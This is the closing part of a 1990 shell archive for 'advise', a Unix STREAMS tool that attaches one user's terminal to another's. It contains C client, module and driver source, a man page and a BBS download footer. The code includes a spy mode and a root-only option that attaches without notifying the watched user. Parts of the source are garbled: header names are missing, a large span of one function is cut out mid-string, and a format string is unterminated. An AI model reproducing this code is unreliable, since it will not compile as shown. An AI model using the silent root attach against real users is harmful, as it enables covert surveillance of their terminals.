switch(c) { case 's': spy++; break; case 'S': if (!getuid()) secret++; break; case 'a': allow_deny_p++; allow_deny=ADVISE_ALLOW; allow_advise_p++; allow_advise++; break; case 'd': allow_advise_p++; allow_advise=0; break; case 'A': allow_deny_p++; allow_deny=ADVISE_ALLOW; break; case 'D': allow_deny_p++; allow_deny=ADVISE_DENY; break; case 'm': meta_character = optarg[0]; break; case 'M': module = optarg; break; case '?': error_flag++; break; } if (error_flag) { usage(); } } if (allow_advise_p) { int status = ioctl(0, ADVISE_STATUS, &status); if (allow_advise && status) { int advise_module_pushed = 0; /* Push advise module on stream */ (void) ioctl(0, TCGETS, &termios); modules = list_modules(0, module); advise_module_list.next = modules; for (modules = &advise_module_list; modules != NULL; modules = modules->next) { if (!strcmp(modules->name, "advise")) { if (advise_module_pushed) continue; advise_module_pushed = 1; } if (ioctl(0, I_PUSH, modules->name)) { (void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n", progname, modules->name, strerror(errno)); error++; } } (void) ioctl(0, TCSETS, &termios); } if (!allow_advise && !status) { (void) ioctl(0, TCGETS, &termios); modules = list_modules(0, "advise"); while (modules != NULL) { if (strcmp(modules->name, "advise")) { if (ioctl(0, I_PUSH, modules->name)) { (void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n", progname, modules->name, strerror(errno)); error++; } } modules = modules->next; } (void) ioctl(0, TCSETS, &termios); } if (!allow_deny_p) return error ? 1 : 0; } if (allow_deny_p) { if (ioctl(0, allow_deny, 0)) { if (errno == EINVAL) { (void) fprintf(stderr, "%s: module \"advise\" not in stream.\n", progname); } else { (void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n", progname, strerror(errno)); } return 1; } return 0; } /* All switches have been handled */ argc -= optind; argv += optind; if (argc > 1) { usage(); } if (argc == 0) { int status; /* ** Status of advise. */ if (ioctl(0, ADVISE_STATUS, &status)) { printf("Module \"advise\" not pushed on stream.\n"); } else { printf("Advise access %s\n", status ? "allowed" : "denied"); } return 0; } advise(*argv); return 0; } void usage() { (void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n progname); exit(1); } static void advise(char *who) { int ret, fd, metad=0; char buf[1024], *device, *devname, *login_name, *tty_name; struct pollfd pfds[2]; struct termios termios, oldtermios; struct stat stbuf; struct utmp *ut, uts; char username[sizeof(ut->ut_name) + 1]; username[0] = '\0'; if (*who == '/') /* full path name */ device = who; else { /* Either this is /dev/ + who OR a username */ setutent(); while ((ut = getutent()) != NULL) { if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name))) { device = (char *)malloc(sizeof("/dev/") + sizeof(ut->ut_name)); if (device == NULL) { (void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n", progname); exit(1); } strcpy(device, "/dev/"); strncat(device, ut->ut_name, sizeof(ut->ut_name)); device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0'; strncpy(username, ut->ut_name, sizeof(ut->ut_name)); username[sizeof(ut->ut_name)] = '\0'; break; } } if (ut == NULL) /* Is /dev/ + who */ { device = (char *)malloc(sizeof("/dev/") + strlen(who)); if (device == NULL) { (void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n", progname); exit(1); } strcpy(device, "/dev/"); strcat(device, who); } endutent(); } devname = device + sizeof("/dev/") - 1; if (username[0] == '\0') { setutent(); strncpy(uts.ut_line, devname, sizeof(uts.ut_line)); if ((ut = getutline(&uts)) != NULL) { strncpy(username, ut->ut_name, sizeof(ut->ut_name)); username[sizeof(ut->ut_name)] = '\0'; } else { strcpy(username, "unknown"); } endutent(); } if (stat(device, &stbuf) < 0) { if (errno == ENOENT) { (void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname) data.len = strlen(str); data.buf = str; (void) putmsg(fd, &ctl, &data, 0); free(str); } } if (!spy) { (void) ioctl(0, TCGETS, &termios); oldtermios = termios; termios.c_cc[VMIN] = 1; termios.c_cc[VTIME] = 0; termios.c_lflag &= ~(ISIG|ICANON|ECHO); (void) ioctl(0, TCSETS, &termios); } pfds[0].fd = fd; pfds[0].events = POLLIN; pfds[1].fd = 0; pfds[1].events = POLLIN; for (;;) { if (poll(pfds, 2, INFTIM) < 0) continue; if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */ { if ((ret = read(fd, buf, sizeof(buf))) > 0) write(1, buf, ret); } if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */ { if ((ret = read(0, buf, sizeof(buf))) > 0) { if (!spy) { register int i; register char *p = buf, *pp=buf; for (i=0; i < ret; ++i, p++) { if (metad) { if (metad == 2) { meta_character = *p; printf("The meta character is now: %s\n", strchar(meta_character)); pp++; metad = 0; continue; } switch (*p) { case '=': metad=2; pp++; break; case '?': { char *escstr = strchar(meta_character); printf("Help for meta character <%s>:\n", escstr); printf("%s?\t-- This help message.\n", escstr); printf("%s~\t-- Send a single meta character.\n", escstr); printf("%s.\t-- Disconnect advise session.\n", escstr); printf("%s=C\t-- Change meta character to C.\n", escstr); printf("%s^Z\t-- Suspend advise session.\n", escstr); pp++; metad=0; break; } case '.': { if (!secret) { char *str; str = malloc(strlen(login_name) + strlen(tty_name) + sizeof("[/ disconnecting from :]\n") + strlen(username) + strlen(devname)); if (str) { struct advise_message m; struct strbuf ctl, data; m.type = ADVISE_READDATA; ctl.len = sizeof(m); ctl.buf = (void *)&m; sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r", login_name, tty_name, username, devname); data.len = strlen(str); data.buf = str; (void) putmsg(fd, &ctl, &data, 0); free(str); } } close(fd); (void) ioctl(0, TCSETS, &oldtermios); exit(0); } case CTRL('Z'): { (void) ioctl(0, TCSETS, &oldtermios); (void) signal(SIGTSTP, SIG_DFL); (void) kill(0, SIGTSTP); (void) ioctl(0, TCSETS, &termios); metad=0; break; } default: metad=0; break; } } else { if (*p == meta_character) { int d = p - pp; metad=1; if (d) write(fd, pp, d); pp += d + 1; i += d; } } } if (p - pp) { struct advise_message m; struct strbuf ctl, data; m.type = ADVISE_DATA; ctl.len = sizeof(m); ctl.buf = (void *)&m; data.len = p - pp; data.buf = p; (void) putmsg(fd, &ctl, &data, 0); } } } } } } static struct module_list * list_modules(int fd, char *push_below) { char lookbuf[max(FMNAMESZ+1,256)]; struct module_list *mp, *mpp; mp = NULL; while (ioctl(fd, I_LOOK, lookbuf) == 0) { if (ioctl(fd, I_POP, 0)) { (void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname, lookbuf, strerror(errno)); return mp; } if ((mpp = malloc(sizeof(struct module_list))) == NULL || (mpp->name = malloc(strlen(lookbuf) + 1)) == NULL) { (void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n", progname); return mp; } mpp->next = mp; mp = mpp; strcpy(mp->name, lookbuf); if (!strcmp(push_below, lookbuf)) break; } return mp; } static char * strchar(char character) { static char retbuf[4]; char *p = retbuf; int capit = 0; if (!isascii(character)) { *p++ = '~'; capit = 1; character = toascii(character); } if (iscntrl(character)) { *p++ = '^'; capit = 1; character += '@'; } if (capit) *p++ = toupper(character); else *p++ = character; *p = '\0'; return retbuf; } SHAR_EOF fi # end of overwriting check if test -f 'advise.man' then echo shar: will not over-write existing file "'advise.man'" else cat << \SHAR_EOF > 'advise.man' .TH advise 1 .SH NAME advise \- Attach to another user. .SH SYNOPSIS .B advise [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ] .SH DESCRIPTION .B Advise attaches a user (the advisor) to another user's (the advisee) terminal in such a way the the advisor can type for the advisee and view what the advisee's terminal is displaying. .PP The advisee would typically type ``advise -a'' to allow advise attaches; the advisor would then type ``advise username'' which would connect the advisors terminal the the advisee's. .PP All characters the advisor types are sent to the advisee's terminal as if the advisee typed them save the meta character. .PP The default meta character is tilde (~). The advisor uses the meta character to disconnect or suspend the advise session. The meta commands that are available to the advisor are: .PP .RS .TP ~? Meta character help message. .TP ~~ Send the meta character to the advisee's terminal. .TP ~. Disconnect advise session. .TP ~=C Change the meta character to C. .TP ~^Z Suspend this advise session. .RE .PP In Advise mode the advisor uses ``~.'' to disconnect the advise session (Note: the advisor should use ``~~'' to send one tilde to the advisee's terminal). .PP In ``spy mode'' the advisor should use an interrupt is use to disconnect the advise session. .PP ``advise -d'' can be used by the advisee to disconnect the advise session. .SH OPTIONS .TP -A Allow advise attaches to this terminal. .TP -D Disallow advise attaches to this terminal. .TP -M module Name of module to place advise module under. .TP -S When attaching to another user, don't send the attach message. (available to the super user, only). .TP -a Push advise module on standard input stream and allow advise attaches. .TP -d Push advise module on standard input stream and disallow advise attaches. .TP -m char Change the meta character to ``char''. The default meta character is tilde (~). .TP -s Spy mode only (ie, input from the advisor is not passed to the advisee). .TP device The name of the tty device to advise. .TP username The name of the user to advise. .SH AUTHOR .RS .PP Keith M. Gabryelski (ag@amix.commodore.com) .RE SHAR_EOF fi # end of overwriting check if test -f 'advisedev.c' then echo shar: will not over-write existing file "'advisedev.c'" else cat << \SHAR_EOF > 'advisedev.c' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "advisemod.h" #include int adviseopen(), adviseclose(), adviserput(), advisewput(); void advisesrvioc(); static struct module_info advisemiinfo = { 0, "advise", 0, INFPSZ, 2048, 128, }; static struct qinit adviserinit = { adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo, }; static struct module_info advisemoinfo = { 42, "advise", 0, INFPSZ, 300, 200, }; static struct qinit advisewinit = { advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo, }; struct streamtab adviseinfo = { &adviserinit, &advisewinit, NULL, NULL, }; extern struct advise_state advise_table; /*ARGSUSED*/ static int adviseopen(q, devp, flag, sflag, credp) register queue_t *q; dev_t *devp; int flag, sflag; cred_t *credp; { register mblk_t *bp; struct advise_queue_list *ql; struct advise_state *sp; int i; if (sflag == MODOPEN) return EINVAL; for (i=1; i < L_MAXMIN; ++i) { sp = &advise_table; while (sp->next != NULL) { ql = sp->next->q_list; while (ql != NULL) { if (ql->minord == i) break; ql = ql->next; } if (ql != NULL) break; sp = sp->next; } if (sp->next == NULL) break; } if (i == L_MAXMIN) { return ENOMEM;/* no more resources */ } *devp = makedevice(getmajor(*devp), i); if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL) { return ENOMEM; } bp->b_wptr += sizeof(struct advise_queue_list); ql = (struct advise_queue_list *)bp->b_rptr; ql->savbp = bp; ql->next = NULL; ql->q = q; ql->state = NULL; ql->minord = i; q->q_ptr = (caddr_t)ql; WR(q)->q_ptr = (caddr_t)ql; return 0; } static adviseclose(q) register queue_t *q; { struct advise_state *llist = &advise_table; struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr; struct advise_queue_list *ql, *qlp; /* Remove us from the advisor's list */ if (qp->state != NULL) { while (llist != NULL && llist->next != qp->state) llist = llist->next; if (llist != NULL) { ql = llist->next->q_list; if (ql->q == q) { llist->next->q_list = ql->next; } else { while (ql->next != NULL && ql->next->q != q) ql = ql->next; if (ql->next != NULL) { ql->next = ql->next->next; } } } } qp->state = NULL; freeb(qp->savbp); q->q_ptr = NULL; } static int adviserput(q, bp) struct queue *q; mblk_t *bp; { putnext(q, bp); } static int advisewput(q, bp) struct queue *q; mblk_t *bp; { struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr; struct advise_state *sp = qp->state; switch (bp->b_datap->db_type) { case M_PROTO: { struct advise_message *ms = (struct advise_message *)bp->b_rptr; mblk_t *bp2 = unlinkb(bp); if (bp2) { if (sp != NULL && sp->q != NULL) { if (ms->type == ADVISE_READDATA) { putnext(WR(sp->q), bp2); } else { putnext(sp->q, bp2); } } else freemsg(bp2); } freemsg(bp); break; } case M_DATA: /* ** Write data to advisee. */ if (sp != NULL && sp->q != NULL) putnext(sp->q, bp); else freemsg(bp); break; case M_IOCTL: case M_IOCDATA: advisesrvioc(q, bp); break; default: freemsg(bp); break; } } static void advisesrvioc(q, mp) queue_t *q; mblk_t *mp; { mblk_t *mp1; struct iocblk *iocbp = (struct iocblk *)mp->b_rptr; struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr; int s; if (mp->b_datap->db_type == M_IOCDATA) { /* For copyin/copyout failures, just free message. */ if (((struct copyresp *)mp->b_rptr)->cp_rval) { freemsg(mp); return; } if (!((struct copyresp *)mp->b_rptr)->cp_private) { mp->b_datap->db_type = M_IOCACK; freemsg(unlinkb(mp)); iocbp->ioc_count = 0; iocbp->ioc_rval = 0; iocbp->ioc_error = 0; putnext(RD(q), mp); return; } } switch (iocbp->ioc_cmd) { case ADVISE_SETADVISEE: { register dev_t p; struct advise_queue_list *qlp; struct advise_state *llist; if (qp->state != NULL) /* already advising someone */ { iocbp->ioc_error = EBUSY; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } if (!mp->b_cont) { iocbp->ioc_error = EINVAL; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } p = *(dev_t *)mp->b_cont->b_rptr; s = spladvise(); llist = advise_table.next; while (llist != NULL && llist->dev != p) { llist = llist->next; } if (llist == NULL) { splx(s); iocbp->ioc_error = EUNATCH; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred))) { splx(s); iocbp->ioc_error = EACCES; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } /* ** Add ourself to the list of advisors for this advisee. */ if (llist->q_list == NULL) { qlp = llist->q_list = qp; } else { qlp = llist->q_list; while (qlp->next != NULL) qlp = qlp->next; qlp->next = qp; qlp = qp; } qlp->state = llist; splx(s); mp->b_datap->db_type = M_IOCACK; mp1 = unlinkb(mp); if (mp1) freeb(mp1); iocbp->ioc_count = 0; putnext(RD(q), mp); break; } default: /* Unrecognized ioctl command */ if (canput(RD(q)->q_next)) { mp->b_datap->db_type = M_IOCNAK; putnext(RD(q), mp); } else putbq(q, mp); break; } } SHAR_EOF fi # end of overwriting check if test -f 'advisemod.c' then echo shar: will not over-write existing file "'advisemod.c'" else cat << \SHAR_EOF > 'advisemod.c' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "advisemod.h" #include int advisemopen(), advisemclose(), advisemrput(), advisemwput(); static struct module_info advisemiinfo = { 0, "advisemod", 0, INFPSZ, 2048, 128, }; static struct qinit adviserinit = { advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo, }; static struct module_info advisemoinfo = { 42, "advisemod", 0, INFPSZ, 300, 200, }; static struct qinit advisewinit = { advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo, }; struct streamtab advisemodinfo = { &adviserinit, &advisewinit, NULL, NULL, }; struct advise_state advise_table; /*ARGSUSED*/ static int advisemopen(q, devp, flag, sflag, credp) register queue_t *q; dev_t *devp; int flag, sflag; cred_t *credp; { register struct advise_state *sp; register mblk_t *bp; struct advise_state *llist = &advise_table; if (sflag != MODOPEN) return EINVAL; if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL) { return ENOMEM; } bp->b_wptr += sizeof(struct advise_state); sp = (struct advise_state *)bp->b_rptr; sp->savbp = bp; sp->dev = *devp; sp->status = 0;/* Deny access by default */ sp->next = NULL; sp->q_list = NULL; sp->q = q; while (llist->next != NULL) { if (llist->next->dev == *devp) { /* ** We are already pushed on this stream. */ freeb(bp); sp = llist->next; break; } llist = llist->next; } llist->next = sp; q->q_ptr = (caddr_t)sp; WR(q)->q_ptr = (caddr_t)sp; return 0; } static advisemclose(q) register queue_t *q; { register struct advise_state *sp = (struct advise_state *)q->q_ptr; struct advise_state *llist = &advise_table; struct advise_queue_list *qp = sp->q_list; sp->status = 0; /* unlink us from the state table */ while (llist->next != sp) llist = llist->next; llist->next = llist->next->next; while (sp->next != NULL) { /* tell each advisor that we're shutting down */ flushq(sp->q, FLUSHDATA); putctl(sp->q->q_next, M_HANGUP); sp = sp->next; } freeb(sp->savbp); q->q_ptr = NULL; } static advisemrput(q, mp) register queue_t *q; register mblk_t *mp; { putnext(q, mp); } static advisemwput(q, mp) register queue_t *q; register mblk_t *mp; { struct advise_state *sp = (struct advise_state *)q->q_ptr; register struct advise_queue_list *qp; int s; switch (mp->b_datap->db_type) { case M_DATA: /* ** Write data to advisors. */ s = spladvise(); for (qp = sp->q_list; qp != NULL; qp = qp->next) { mblk_t *mp1 = copymsg(mp); if (mp1 != NULL) putnext(qp->q, mp1); } splx(s); break; case M_IOCTL: case M_IOCDATA: if (advisemsrvioc(q, mp)) /* handled? */ return; break; } putnext(q, mp); } static int advisemsrvioc(q, mp) queue_t *q; mblk_t *mp; { mblk_t *mp1; struct iocblk *iocbp = (struct iocblk *)mp->b_rptr; struct advise_state *sp = (struct advise_state *)q->q_ptr; if (mp->b_datap->db_type == M_IOCDATA) { struct copyresp *csp = (struct copyresp *)mp->b_rptr; switch(csp->cp_cmd) { case ADVISE_STATUS: case ADVISE_ALLOW: case ADVISE_DENY: /* For copyin/copyout failures, just free message. */ if (csp->cp_rval) freemsg(mp); else if (!csp->cp_private) { mp->b_datap->db_type = M_IOCACK; freemsg(unlinkb(mp)); iocbp->ioc_count = 0; iocbp->ioc_rval = 0; iocbp->ioc_error = 0; putnext(RD(q), mp); } return 1; } } switch (iocbp->ioc_cmd) { case ADVISE_STATUS: { int *status; caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr; freemsg(mp->b_cont); mp->b_cont = allocb(sizeof(int), BPRI_MED); if (!mp->b_cont) { mp->b_datap->db_type = M_IOCNAK; freemsg(unlinkb(mp)); iocbp->ioc_count = 0; iocbp->ioc_rval = 0; iocbp->ioc_error = ENOMEM; putnext(RD(q), mp); return 1; } status = (int *)mp->b_cont->b_rptr; mp->b_cont->b_wptr += sizeof(int); *status = sp->status; if (mp->b_datap->db_type == M_IOCTL && iocbp->ioc_count == TRANSPARENT) { struct copyreq *creq = (struct copyreq *)mp->b_rptr; mp->b_datap->db_type = M_COPYOUT; creq->cq_addr = arg; mp->b_wptr = mp->b_rptr + sizeof *creq; mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int); creq->cq_size = sizeof(int); creq->cq_flag = 0; creq->cq_private = (mblk_t *)NULL; putnext(RD(q), mp); return 1; } } break; case ADVISE_ALLOW: sp->status |= ALLOW_ADVICE; mp->b_datap->db_type = M_IOCACK; mp1 = unlinkb(mp); if (mp1) freeb(mp1); iocbp->ioc_count = 0; putnext(RD(q), mp); break; case ADVISE_DENY: sp->status &= ~(ALLOW_ADVICE); mp->b_datap->db_type = M_IOCACK; mp1 = unlinkb(mp); if (mp1) freeb(mp1); iocbp->ioc_count = 0; putnext(RD(q), mp); break; default: return 0; } return 1; } SHAR_EOF fi # end of overwriting check if test -f 'advisemod.h' then echo shar: will not over-write existing file "'advisemod.h'" else cat << \SHAR_EOF > 'advisemod.h' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ struct advise_queue_list { mblk_t*savbp;/* ptr to this mblk for freeb()ing */ queue_t*q;/* advisor's queue */ intminord; /* minor device for this advisor */ struct advise_state*state; /* ptr back to advise_state struct */ struct advise_queue_list*next; /* ptr to next advisor */ }; struct advise_state { mblk_t*savbp;/* ptr to this mblk for freeb()ing */ intstatus;/* current status */ dev_tdev;/* our device */ queue_t*q;/* queue for advisor writing */ struct advise_queue_list*q_list;/* list of spies */ struct advise_state*next; /* next in advise_table */ }; #define ALLOW_ADVICE(0x01) struct advise_message { inttype; /* What type of data is this? */ }; #define ADVISE_DATA(0x00) #define ADVISE_READDATA(0x01) #define ADVISE('z'<<16) #define ADVISE_SETADVISEE(ADVISE|0x01) #defineADVISE_ALLOW(ADVISE|0x02) #defineADVISE_DENY(ADVISE|0x03) #define ADVISE_STATUS(ADVISE|0x04) #define spladvisespltty SHAR_EOF fi # end of overwriting check #End of shell archive exit 0 ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== It is useless to resist us. X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X Another file downloaded from: NIRVANAnet(tm) &TOTSE 510/935-5845 Walnut Creek, CA Taipan Enigma Burn This Flag 408/363-9766 San Jose, CA Zardoz realitycheck 415/666-0339 San Francisco, CA Poindexter Fortran Governed Anarchy 510/226-6656 Fremont, CA Eightball New Dork Sublime 805/823-1346 Tehachapi, CA Biffnix Lies Unlimited 801/278-2699 Salt Lake City, UT Mick Freen Atomic Books 410/669-4179 Baltimore, MD Baywolf Sea of Noise 203/886-1441 Norwich, CT Mr. Noise The Dojo 713/997-6351 Pearland, TX Yojimbo Frayed Ends of Sanity 503/965-6747 Cloverdale, OR Flatline The Ether Room 510/228-1146 Martinez, CA Tiny Little Super Guy Hacker Heaven 860/456-9266 Lebanon, CT The Visionary The Shaven Yak 510/672-6570 Clayton, CA Magic Man El Observador 408/372-9054 Salinas, CA El Observador Cool Beans! 415/648-7865 San Francisco, CA G.A. Ellsworth DUSK Til Dawn 604/746-5383 Cowichan Bay, BC Cyber Trollis The Great Abyss 510/482-5813 Oakland, CA Keymaster "Raw Data for Raw Nerves" X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X